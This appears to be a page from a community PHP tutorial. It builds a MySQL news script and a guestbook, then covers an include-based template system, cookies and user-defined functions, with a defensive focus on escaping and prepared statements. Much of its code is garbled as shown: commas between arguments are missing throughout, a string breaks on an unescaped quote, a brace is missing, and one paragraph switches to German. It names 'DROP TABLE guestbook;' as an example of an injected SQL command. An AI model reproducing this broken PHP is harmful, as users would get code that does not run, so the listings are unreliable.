And now lets go. First we echo some html header stuff. We write them in a new file and load them with include.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// change to your login
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die (
'Could not create a connection to the database: '.mysqli_connect_error());
}
include 
'header.html'// DOCTYPE, <html>, <head>, and the starting <body> tag
?>

Now we send our sql query and output the result with a loop.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// change to your login
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die (
'Could not create a connection to the database: '.mysqli_connect_error());
}
include 
'header.html'// DOCTYPE, <html>, <head>, and the starting <body> tag
$sql 'SELECT
            title,
            added,
            content
        FROM
            news
        ORDER BY
            added DESC'
;
// "ORDER BY" to sort the news by the date, descending
$result $db->query($sql);
if (!
$result) {
    die (
'Query failed, query was: '.$sql."<br />\nError message: ".$db->error);
}
if (!
$result->num_rows) {
    echo 
'<p class="info">There are no news.</p>';
} else {
    while (
$row $result->fetch_assoc()) {
        echo 
'<h1>'.$row['title']."</h1>\n";
        echo 
'<h2>'.$row['added']."</h2>\n";
        echo 
'<p>'.$row['content']."</p>\n";
}
?>

And at the end we output the html footer with include.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

// change to your login
$db = @new MySQLi('localhost''username''pass''dbname');
if (
mysqli_connect_errno()) {
    die (
'Could not create a connection to the database: '.mysqli_connect_error());
}
include 
'header.html'// DOCTYPE, <html>, <head>, and the starting <body> tag
$sql 'SELECT
            title,
            added,
            content
        FROM
            news
        ORDER BY
            added DESC'
;
// "ORDER BY" to sort the news by the date, descending
$result $db->query($sql);
if (!
$result) {
    die (
'Query failed, query was: '.$sql."<br />\nError message: ".$db->error);
}
if (!
$result->num_rows) {
    echo 
'<p class="info">There are no news.</p>';
} else {
    while (
$row $result->fetch_assoc()) {
        echo 
'<h1>'.$row['title']."</h1>\n";
        echo 
'<h2>'.$row['added']."</h2>\n";
        echo 
'<p>'.$row['content']."</p>\n";
}
include 
'footer.html'// </body>, </html> and maybe some copyright notes
?>

Now we have written our news script.

4. Downside of the news script

At the moment we can only add new databases if we work at the database directly. This can be done as always with phpMyAdmin. We just click on Insert and enters the new data. The id column should be empty as this value is generated automatically by AUTO_INCREMENT. At the added select the function NOW() from the drop-down list. As you see this is a very rudimentary without any user interactions like news comments, but as written at the top it is an easy and simple news script.

Questions about the chapter

No questions

Guestbook

  1. Writing an own guestbook
  2. Layout of the mysql tables
  3. Layout of the php scripts
  4. Code for showing the guestbook
  5. Code for adding new entries
  6. Disadvantage of our guestbook script

1. Writing an own guestbook

A guestbook is similar to a newsscript but the entries are from the users, not from the administrator. But this also result in problems as the user can enter any text they want. And then you have content in your guestbook you don't want to have. For this reason every user input must be checked, also for spam.

2. Layout of the mysql tables

We use a similar table as the news table. It got 4 columns.

  1. id - The normal identification column with the type INT.

  2. added - The time when the entry was added. Type is DATETIME.

  3. author - The name of the user who added the entry. A VARCHAR(50) should be enought.

  4. content - The text of the entry. Type is TEXT.

The sql query looks like this.

CREATE TABLE guestbook (
    id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
    author VARCHAR(50) NOT NULL,
    added DATETIME NOT NULL,
    content TEXT NOT NULL
);

You can add this table with phpMyAdmin of course.

3. Layout of the php scripts

The php script as two objectives. First, it must fetch the rows from the database and show them. Second, it must process the values from a form to add them in mysql. We can differ it by checking the value of $_SERVER['REQUEST_METHOD']. If the file is opened by a POST request (like a form) we save the form values to the database, for all other request types (which include the GET request) we show the guestbook and a form for adding new guestbook entries.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

if (
'POST' == $_SERVER['REQUEST_METHOD']) {
    
// code for adding new entries in the database
} else {
    
// code for showing the guestbook and the form
}
?>

As we use the mysql we create a connection to the database. And we load some html stuff with include or even better with readfile.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

$db = @new mysqli('localhost''username''password''database');
if (
mysqli_connect_errno()) {
    die(
'Could not create a connection to the database: '.mysqli_connect_error().'('.mysqli_connect_errno().')');
}

readfile('header.html'); // contains the <body> tag

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    
// code for adding new entries in the database
} else {
    
// code for showing the guestbook and the form
}

readfile('footer.html');
?>

Now we can begin with the two parts.

4. Code for showing the guestbook

The code for showing the guestbook entries is almost the same as for the news script, so we don't need any explanations here.

<?php
// [...]

} else {
    
$sql 'SELECT
                added,
                author,
                content
            FROM
                guestbook
            ORDER BY
                added DESC'
;
    
$result $db->query($sql);
    if (!
$result) {
        die(
'the query couldn't be executed'.$db->error);
    }
    if ($result->num_rows) {
        while ($row = $result->fetch_assoc()) {
            echo '
<div class="entry">'."\n";
            echo '    
<span class="author">'.htmlspecialchars($row['author'])."</span>\n";
            echo '    
<span class="date">'.$row['added']."</span>\n";
            echo "    <p>\n";
            echo nl2br(htmlspecialchars(preg_replace('
~S{30}~', '', $row['content'])));
            echo "    </p>\n";
            echo "</div>\n";
        }
    } else {
        echo '
<class="info">There are no guestbook entries</p>';
    } 
    readfile('
form.html);
}

// [...]
?>

The function htmlspecialchars is used to escape html characters like < so they are shown as < instead of starting a html tag. This is needed as people always try to add javascript code to your guestbook. The function nl2br appends after every new line the html newline tag <br />. This is needed as in the database there are just normal linebreaks with \n. The preg_replace statement isn't easy to explain as it got a regular expression. Its dealed in a later chapter but for now this preg_replace statement adds in words which are longer as 30 characters spaces inside the words so the browser can wrap the line. This is to prevent content lines like AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... breaking your whole html code.

The form.html file contains the code for the form so the users can add a new entry to your guestbook.

<form action="guestbook.php" method="post">
    <fieldset>
        <legend>Write into the guestbook</legend>
        <label>Name: <input type="text" name="author" /></label>
        <label>Text: <textarea name="content" rows="6" cols="40"></textarea></label>
        <label>{QUESTION}: <input type="text" name="answer"/></label>
        <input type="submit" name="formaction" value="Add" />
    </fieldset>
</form>

The form is send to the php file guestbook.php. The field about {QUESTION} is to prevent spam, it's explained later.

Of course the guestbook is empty so we see the line There are no guestbook entries. Now we add the code for adding new entries.

5. Code for adding new entries

We get the values author, content, answer and formaction. First we check if we really get this values from the form or if the user use a self written form.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['author'], $_POST['content'], $_POST['answer'], $_POST['formaction'])) {
        die (
'only use forms from the homepage.');
    }
} else {

// [...]
?>

Nun machen wir einfache Textabfragen indem wir gucken ob der Benutzer überhaupt was eingegeben hat. Dazu verwenden wir einmal die Funktion trim um Leerzeichen vor und nach der Eingabe zu löschen und vergleichen den Rückgabewert mit '' und wissen dann ob was eingegeben wurde oder nicht.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['author'], $_POST['content'], $_POST['answer'], $_POST['formaction'])) {
        die(
'only use forms from the homepage.');
    }
    if (
'' == $author trim($_POST['author']) or
            
'' == $content trim($_POST['content']) or
            
'' == $answer trim($_POST['answer'])) {
        die(
'Fill out the form completly');
    }
} else {

// [...]
?>

Now we check the answer field. We expect a special answer from the user. The {QUESTION} part in the form must be changed so the user adds the right answer. This is similar to a CAPTCHA but more simplier. With this input we exclude spam bots which whould spam the guestbook. It's enought to check for a single word.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['author'], $_POST['content'], $_POST['answer'], $_POST['formaction'])) {
        die(
'only use forms from the homepage.');
    }
    if (
'' == $author trim($_POST['author']) or
            
'' == $content trim($_POST['content']) or
            
'' == $answer trim($_POST['answer'])) {
        die(
'Fill out the form completly');
    }
    if (
'' != $answer) { // change for your {QUESTION} part
        
die ('You must answer the question correctly.');
    }
} else {

// [...]
?>

Note that you shouldn't ask for complex stuff, especially case sensitive answers.

Now we can save the data in the database. The easiest way is to build a INSERT query with concatenation of strings and variables. This will be tricky as the content can contain ' characters which whill break your sql query. This is called sql injection as the users try to add subqueries like DROP TABLE guestbook;. For this reason we must protect/change the values. In the mysql extension there is a function called mysql_real_escape_string. It is used to return an escaped version of a variable or value so it can be safely used in a sql query.

<?php
$sql 
'INSERT INTO
            Guestbook(author,added,content)
        VALUES
            ("'
.mysql_real_escape_string($author).'",
             NOW(),
             "'
.mysql_real_escape_string($content).'");';
?>

In the MySQLi extension we use prepared statements. These are special sql queries with placeholders (single ? characters). These placeholders are replaced with special methods with values. These methods care take automatically of the content of the values and escape them if needed so they don't break your sql query.

To create such a prepared statement you must use the prepare() method (mysqli_prepare). The ? characters are the placeholders which we fill later with values.

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['author'], $_POST['content'], $_POST['answer'], $_POST['formaction'])) {
        die(
'only use forms from the homepage.');
    }
    if (
'' == $author trim($_POST['author']) or
            
'' == $content trim($_POST['content']) or
            
'' == $answer trim($_POST['answer'])) {
        die(
'Fill out the form completly');
    }
    if (
'' != $answer) { // change for your {QUESTION} part
        
die ('You must answer the question correctly.');
    }
    
$sql 'INSERT INTO
                guestbook(author, added, content)
            VALUES
                (?, NOW(), ?)'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        die (
"A query couldn't be prepare: ".$db->error);
    }
} else {

// [...]
?>

As prepare() can fails we check the return value. If all goes fine the method returns a MySQLi_STMT object which we can use. For us they are the methods bind_param() and execute().

<?php
// [...]

if ('POST' == $_SERVER['REQUEST_METHOD']) {
    if (!isset(
$_POST['author'], $_POST['content'], $_POST['answer'], $_POST['formaction'])) {
        die(
'only use forms from the homepage.');
    }
    if (
'' == $author trim($_POST['author']) or
            
'' == $content trim($_POST['content']) or
            
'' == $answer trim($_POST['answer'])) {
        die(
'Fill out the form completly');
    }
    if (
'' != $answer) { // change for your {QUESTION} part
        
die ('You must answer the question correctly.');
    }
    
$sql 'INSERT INTO
                guestbook(author, added, content)
            VALUES
                (?, NOW(), ?)'
;
    
$stmt $db->prepare($sql);
    if (!
$stmt) {
        die (
"A query couldn't be prepare: ".$db->error);
    }
    
$stmt->bind_param('ss'$author$content);
    if (!
$stmt->execute()) {
        die(
"Query couldn't be executed: ".$stmt->error);
    }
    echo 
'<p class="info">Guestbook entry added. <a href="guestbook.php">Back to the guestbook</a>.</p>';
} else {

// [...]
?>

The two s characters declare that there are two string following ( for the columns author and content). For bind_param() there are the characters i for integer numbers, d for float numbers (double) and b for binary data. But we use mainly i and s. After that we call the execute() method to execute the query and output some info message. As the execute() method can fail we check the return value with the if clause.

If you test your script it's possible that your webserver use magic quotes. As we take care of the escaping by ourself (or be more specific bind_param() do) we revert magic quotes if activated. We do this at topmost of our script.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'magic_quotes_remove_slashes.php'// or however the file is called
// or copy the code here instead of using an include

// [...]
?>

Now our guestbook is ready.

6. Disadvantage of our guestbook script

This script isn't totally save. As an example a user can add several entries at once. It can be try to prevent if you save the ip address and check the ip list before adding a new entry. And there is no paging and all entries are shown in one page.

Questions about the chapter

No questions

Browsergame

  1. A selfwritten browsergame

1. A selfwritten browsergame

A browsergame is a game often written in php which is played in a browser. Some are strategy or science fiction games. There are hundreds of browsergames, some of them even have an article in wikipedia. As there are already so many browsergames we will not write another one.

Questions about the chapter

No questions

Template system

  1. Layout of a template system
  2. Template systems in php
  3. Write your own template system
  4. Pros and cons of the template system

1. Layout of a template system

With a template system you try to split the php script into two parts, one for the logic and one for the output. This is similar to a Model View Controller. The content for the output is excluded to external files. These files are just called templates. If you have split up the parts you can easily change the output of the script by just changing the template file. The file for fetching the data for the templates are the same. This way a webauthor can create template files with his html and css knowledge and don't need to know how to read them out of a mysql database.

2. Template systems in php

There are a lot of template systems for php. Each have advantages and disadvantages, have features others don't have, have security aspects other don't haves and use syntax others don't have. But you forget php itself is already a template engine. PHP is developed to be used inline of html code. For that reason there exists the start and end tags <?php and ?>. So we use php as our template system by using include statements to load template files.

3. Write your own template system

We can load other php files with include as already known. So we use this to load templates and use php code inside these templates and access variables. This also mean we cannot support user templates. It would be to risky to load a user template which contains functions like shell_exec or mail. The admins and webauthors of a homepage should be the only one who can change the template files.

Our template system is controlled by a start script index.php. As always we increase the error reporting level and load some files with functions, classes and variables (depending on the project).

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'functions.php';
include 
'classes.php';
include 
'variables.php';
?>

We use the GET variable section for an array include. We save all valid filenames in an array called $files which can be load with an include statement. The index is used for the value of $_GET['section'].

<?php
// added in the variables.php file
$files = array();
$files['news'] = 'news.php';
$files['forum'] = 'forum.php';
$files['downloads'] = 'dl.php';
// ...
?>

We check with isset and file_exists if the GET variable exists, the index exists and the include file exists which we load with an include.

<?php
$ret 
1// default return value of include
if (isset($_GET['section'], $files[$_GET['section']])) {
    if (
file_exists('includes/'.$files[$_GET['section']])) {
        
$ret = include 'includes/'.$files[$_GET['section']]; 
    } else {
        
$ret "Couldn't load include file: 'includes/".$files[$_GET['section']]."'";
    }
} else {
    
// load default area, like "news"
    
$ret = include 'includes/'.$files['news'];
}
?>

First we see a variable called $ret. We use it to save the return value of our include statement. Then we have some if clauses to check the array indexes and if the include file exists.

For our include files (these are not the template files) we define how the return value should look like for later proceed. In the common case if all wents fine the return value is an associative array. The entry with the index filename got the template filename to load. The entry with the index data is an array and got the values for the template. This is the place to store the news entries so the template can show them (just the data, no html code). If we got some error in our file the return value is a string with the error message to show. And at last the return value can be the integer value 1. This is accidently used if there was no return statement in the include file. We write all these information in a php comment so we don't forget them.

<?php
$ret 
1// default return value of include
/*
 * The include file to load must have a return statement with the
 * following value:
 * - for normal execution:
 *   Array('filename' => string, -- name of the template file
 *         'data' => Array())    -- an array with data for the template
 * - for error execution:
 *   string  -- The error message to show
 */
if (isset($_GET['section'], $files[$_GET['section']])) {
    
// ...
?>

We presume we have such include files working and now need to load the right template file. We do this by checking the value of $ret.

<?php
if (is_array($ret) and isset($ret['filename'], $ret['data']) and
        
is_string($ret['filename']) and
        
is_array($ret['data'])) {
    
// valid return value
    
if (file_exists($file 'templates/'.$ret['filename'])) {
        
$data $ret['data']; // we save the data array in a variable called $data
                              // so the template file can use it
        
include $file;
    } else {
        
// template file doesn't exists, show an error message
        
$data = array();
        
$data['msg'] = 'Template file "'.$file.'" not found.';
        include 
'templates/error.tpl';
    }
} else if (
is_string($ret)) {
    
// include file returns a string, which is an error message.
    
$data = array();
    
$data['msg'] = $ret;
    include 
'templates/error.tpl';
} else if (
=== $ret) {
    
// return statement was missing
    
$data = array();
    
$data['msg'] = 'The include file didn\'t use the return statement.';
    include 
'templates/error.tpl';
} else {
    
// some really weird return value
    
$data = array();
    
$data['msg'] = 'The include file returns an invalid value.';
    include 
'templates/error.tpl';
}
?>

Depending on the return value the corresponding template file is loaded/included. In normal execution the template file in the array is loaded. For any error execution the template templates/error.tpl is loaded. This is the first template we create as it is shown if we have errors.

<?php
/* data:
 *  'msg' - the error message
 */
?><p class="error">
    <?php echo htmlspecialchars($data['msg']); ?>
</p>

The file contains a php comment to explain which data are send to the template file (via the $data variable). In this case its just the field msg with the error message to shown.

Now we write our first example include file. As the news script is the default content to show we begin writing this file. However this chapter doesn't deal how to write a news script so we return some dummy values.

<?php
$a 
= array();
$a['filename'] = 'news.tpl';
$a['data'] = array();

// fetch somehow the news out of the database
if (false) {
    
// if there was an error, just simulate them with if (false)
    
return "There was an error in the database: ...";
}

$news = array();

// fill the array with news entries (from a database)
// we create a fake entry
$newsentry = array();
$newsentry['title'] = 'New homepage';
$newsentry['added'] = '2008-01-01 00:00:00';
$newsentry['content'] = 'Just in time for new year we start our new homepage.';
$news[] = $newsentry;

$a['data']['news'] = $news;

return 
$a// do not forget or $ret gets the value int(1)
?>

You see its depend on some circumstances if a string or array is returned. This is the whole idea of these different return values. If we got an error we just can write return 'error message';. In normal execution we return the array. As this include file wants to load a template file news.tpl we create such a file

<?php
/*
 * data:
 * 'news' -- an array of news entries which the following layout
 *           Array(
 *               'title',  -- The title of the news
 *               'added',  -- Creation time
 *               'content' -- The content of the news
 *           )
 */ 
?>
<?php 
if (count($data['news'])) { ?>
    <?php foreach ($data['news'] as $entry) { ?>
    <h2><?php echo htmlspecialchars($entry['title']); ?></h2>
    <p class="entry">
        <span>Written at <?php echo htmlspecialchars($entry['added']); ?></span>:
        <?php echo htmlspecialchars($entry['content']); ?>
    </p>
    <?php ?>
<?php 
} else { ?>
<p class="info">
    There are no news.
</p>
<?php ?>

First we have a informal comment explaining how the $data array looks like. Then the template itself begins. As you see we switch between php and html mode as we need them. The php part just controls what to show and how. A webauthor doesn't really know php so much to understand how to change the template files.

Beside the content to shown by the include file the whole html structur like header and footer is missing. We load them with include or readfile statements. The complete index.php looks like this.

<?php
error_reporting
(E_ALL);
ini_set('display_errors'1);

include 
'functions.php';
include 
'classes.php';
include 
'variables.php';

$ret 1// default return value of include
/*
 * The include file to load must have a return statement with the
 * following value:
 * - for normal execution:
 *   Array('filename' => string, -- name of the template file
 *         'data' => Array())    -- an array with data for the template
 * - for error execution:
 *   string  -- The error message to show
 */
if (isset($_GET['section'], $files[$_GET['section']])) {
    if (
file_exists('includes/'.$files[$_GET['section']])) {
        
$ret = include 'includes/'.$files[$_GET['section']]; 
    } else {
        
$ret "Couldn't load include file: 'includes/".$files[$_GET['section']]."'";
    }
} else {
    
// load default area, like "news"
    
$ret = include 'includes/'.$files['news'];
}

// load of the html header
include 'templates/html_header.tpl';   // Doctype, <html>, <head>, <meta> stuff
include 'templates/html_body_tag.tpl'// or just a single echo "<body>";
include 'templates/menu.tpl';          // if you have a menu

// load of template file
if (is_array($ret) and isset($ret['filename'], $ret['data']) and
        
is_string($ret['filename']) and
        
is_array($ret['data'])) {
    
// valid return value
    
if (file_exists($file 'templates/'.$ret['filename'])) {
        
$data $ret['data']; // we save the data array in a variable called $data
                              // so the template file can use it
        
include $file;
    } else {
        
// template file doesn't exists, show an error message
        
$data = array();
        
$data['msg'] = 'Template file "'.$file.'" not found.';
        include 
'templates/error.tpl';
    }
} else if (
is_string($ret)) {
    
// include file returns a string, which is an error message.
    
$data = array();
    
$data['msg'] = $ret;
    include 
'templates/error.tpl';
} else if (
=== $ret) {
    
// return statement was missing
    
$data = array();
    
$data['msg'] = 'The include file didn\'t use the return statement.';
    include 
'templates/error.tpl';
} else {
    
// some really weird return value
    
$data = array();
    
$data['msg'] = 'The include file returns an invalid value.';
    include 
'templates/error.tpl';
}

// load html footer
include 'templates/html_footer.tpl';  // stuff like </body> and </html>
?>

If you create new content areas use these steps:

  1. You create a template file. Put a php comment at the top so you know which data should be send to the template file.

  2. You create an include file. This returns the array for the filename and the data array or a string with an error message.

  3. Add the new content area to the $files array so it can be loaded.

4. Pros and cons of the template system

As written above we cannot use this template system for unchecked user templates. It's to dangerous they use functions like mail. As an advantage the output of the script is delayed. This sounds like a disadvantage but this allowes us to change the header with functions like session_start, header and setcookie.

Questions about the chapter

No questions

Cookies

  1. What are cookies
  2. Create a cookie
  3. Read out a cookie
  4. Delete a cookie
  5. Security for external values

1. What are cookies

Cookies are text lines which are stored on the client (the browser) and are send to a webserver at each request. These lines look like assignments as in UserID=10. In this example we say we have a cookie called UserID with the (string) value 10. Additionaly each cookie have a lifetime which defines how long the cookie should be stored on the browser. If there is no such a lifetime the browser delete them on shutdown.

Each browser have settings about how long and which cookies are saved or not. It cannot be changed with php. If a php script sends a cookie to the client you don't know if the cookie is actually saved on the browser or just discarded. You know it only at the next request from the client.

2. Create a cookie

You create a cookie with the function setcookie. This function alter the headers, this means you can only send cookies if you haven't any output yet like echo or html code. The first parameters is the name of the cookie, the second parameters is the value.

<?php
setcookie
("UserID""10");
?>

Such a cookie is saved in the browser as long as it is running. If you close the browser the cookie is deleted. If the coookie should be stored longer you must supply a timestamp when the cookie should be deleted.

<?php
setcookie
("UserID""10"time()+60*60*24); // 1 day
setcookie("Foo""Bar"time()+60); // 1 minute
?>

3. Read out a cookie

All cookies which are send by the browser are stored in a superglobal array $_COOKIE. The index is the name of the cookie and the value is the value of the cookie. If you have a cookie line UserID=5 a cookie $_COOKIE['UserID'] = '5'; is created. The values are string or arrays like all external values.

<?php
// if you have a cookie "Foo=Bar"
var_dump($_COOKIE['Foo']); // outputs string(3) "Bar"

// if you have the following cookies:
// "Bla[]=10"
// "Bla[]=x"
var_dump($_COOKIE['Bla']);
// output is:
// array(2) {
//   [0] =>
//   string(2) "10"
//   [1] =>
//   string(1) "x"
// }
?>

Cookies are only stored in $_COOKIE if the browser send them. This means the cookie isn't stored in the array after you called the setcookie function.

<?php
setcookie
("Name""Value");
echo 
$_COOKIE['Name']; // doesn't work (unless there is already such a cookie)
?>

A setcookie call sends the request to save a cookie to the client, so the $_COOKIE array isn't filled yet. This is only possible if the browser can do a time travel back and send the request with the cookie.

To check if a cookie is send use the isset function. After this check you can read the cookie without getting an error message.

4. Delete a cookie

There is no function to delete a cookie, but you can use setcookie to delete one. To delete a cookie you should set the lifetime value to a time in the past. To be sure you should set the value of the cookie to an invalid value like an empty string.

<?php
setcookie
("Name"""time()-60*60*24);
?>

5. Security for external values

As the cookies are stored at the client you shouldn't trust the values you get. A cookie login=1 shouldn't be enought to get logged in into your system. Additional you should check if the values are in a form which are expected like numbers are really numbers to prevent any injections like SQL injections.

Questions about the chapter

No questions

Functions

  1. Usage of functions
  2. Define your own function
  3. Optional parameters
  4. Return values of functions
  5. Documentation of self written function

1. Usage of functions

Besides control structures and variables a php script also use function call. Similar code which is executed often is written in function. Instead of copy&paste the same code all the time you just simply call the function which do the actually work.

The execution of a function can be changed by its parameters. The number of parameters can be everything, even none and infinity. Additionally a function can return a value. This is the normal approach for a function. You call the function with a given number of parameters, the function is doing something and the function returns a value. As an example the sin function returns the sinus of the given radian value.

<?php
sin
(3.1415); // returns float(9.26535896605E-5), which is almost 0
?>

This value can be saved and used like variables.

<?php
$var 
sin(3.1415);
echo 
sin(1.57079); // outputs 0.99999999998
?>

2. Define your own function

Soon or later we want do write a selfwritten php function. A function definition starts with the keyword function.

<?php
function
?>

After that the name is followed. The name must be use the same restrictions like variables as not starting with digits. Additionally function which begins with two underscores (__) are special functions with special meaning. You should use this functions only if you want the effect described in the manual.

<?php
function myFunction
?>

As the same for function calls this peace of code is followed by a opening parenthesis (. Now you can specify variables for the parameters. Each variable is one parameter of the function. If you want a function with any numbers of variables don't write any variables at all and use the functions func_get_args, func_get_arg and func_num_args instead. After the list of parameters the list is finished with the closing parenthesis ).

<?php
function myFunction($param1$param2)
?>

After that the body of the function is followed with the opening curly bracket {. Now you can write every php code you want. The body is closed with the closing curly bracket }.

<?php
function myFunction($param1$param2) {
    
// normal php code
}
?>

It is common to indent the code by one level with 4 spaces. Now you easily can regonize the start of the function (at the keyword function) and where it ends (at the closing curly bracket }).

Inside a function you can use the parameters. Besides the superglobal variables there doesn't exists any other variables from the outer script. This is called variable scope. The parameters are filled with the values of the function call. If these parameters are variables the parameters are filled with copies of these variables. This mean you cannot (basically) change the variables outside of the function.

<?php
function myFunction() {
    echo 
$var;   // help, where is $var defined?
}
$var 'HTML code';
myFunction(); // doesn't work, will say "Undefined variable $var in ... on line ..."
?>

3. Optional parameters

You can define a parameter to be optional. This way you can call a function with less than the number of defined parameters. To define a parameter be optional you add the default value of the parameter at the parameter list. It is done with an assignment. If the function is called with the given parameter the default value is overwrite with the value of the function call otherwise the default values is used.

<?php
function myFunction($x$test 'foobar') {
    echo 
'x got the value: "'.$x.'" and test the value: "'.$test.'"'
}
myFunction(4'word'); // outputs 4 and word
myFunction(5);         // outputs 5 and foobar
myFunction();          // doesn't work as the first parameter is missing
myFunction(123);   // works, but the third value is discarded
?>

4. Return values of functions

As you can use any php code like echo its more common to return a value which is calculated before. To return a value from a function to its caller we use the keyword return. It got a value or variable which should be returned.

<?php
function myFunction() {
    
do_this();  // get's executed
    
return 300;
    
do_that();  // doesn't get executed as the function quits already
}
echo 
myFunction(); // outputs 300
?>

With the return statement the function is automatically finished. This can be done at every place inside the function if it makes sense. If you calculates the sinus of the value 0 you dont need to run any calculation and just return the value 0.

Its possible to quit a function with return without any return value. It makes only sense if the function really don't need to return a value at all.

<?php
function myFunction() {
    
// some code
    
return;
}
myFunction();        // works
$var myFunction(); // works, $var got the value NULL 
?>

5. Documentation of self written function

Functions which are predefined in php are explained on the official homepage. If you write a selfwritten function this explanation is missed of course. You may guess the usage of a function by its name but for complex functions you hope for a well written documentation. For this you can use PHPDocs. Before the function definition you add a PHPDoc comment which explaines the function.

<?php
/**
 * Returns the square of a value.
 *
 * This function is called with one parameter and returns the
 * square of this value.

 * @param x The value for the square value
 * @return The result of the square
 */
function square($x) {
    return 
$x*$x;
}
?>

You should check the phpDocumentor homepage for a detailed explanation.

Questions about the chapter

No questions

About

  1. About the tutorial
  2. Technique of the tutorial
  3. Authors of the tutorial

1. About the tutorial

This tutorial was started by the IRC user Progman. It is build from a second version of the old german tutorial on http://tut.php-quake.net/.

2. Technique of the tutorial

This tutorial is build with xml files. These xml files use a xml schema to verify the syntax of the chapters. The processing of these xml files are done with simplexml. Besides the trivial aspect of using XHTML 1.0 Strict and CSS this tutorial also use special aspects like svg images.

3. Authors of the tutorial

Instead of mentioning all authors who have done their work for the tutorial its much easier to say all authors may be in some kind related to the php channels #php or #php.de of QuakeNet. Last but not least we thanks all users who give us advice to typing errors.

Questions about the chapter

No questions

Copyright © to the OPs of #php/QuakeNet Valid XHTML 1.0 Strict Valid CSS!